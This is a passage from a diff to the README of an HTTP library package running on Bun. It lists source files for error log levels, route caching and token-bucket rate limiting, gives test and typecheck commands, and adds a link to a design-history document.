+| `error-log-level.ts` | the level of the `error-map` stage's one line: `error` for 5xx, `warn` for 401/403/429, `info` for the rest |
 | `route-cache.ts` | the screen a `Route.cache` hint gets where it is DECLARED, thrown from `createRouter`; the response path's `finiteDeltaSeconds` is the total half of the same rule |
 | `rate-limit.ts` | the token-bucket maths, the store interface, the memory driver and `toBucket` |
 | `rate-limit-postgres.ts` | the SHARED store: one table, one `insert … on conflict` per take, over a structural `PgExecutor` |
@@ -712,3 +219,5 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
 bun test packages/http
 bun run --filter @ultimat3/http typecheck
 ```
+
+Why each rule above is shaped the way it is: [`docs/history/http.md`](../../docs/history/http.md).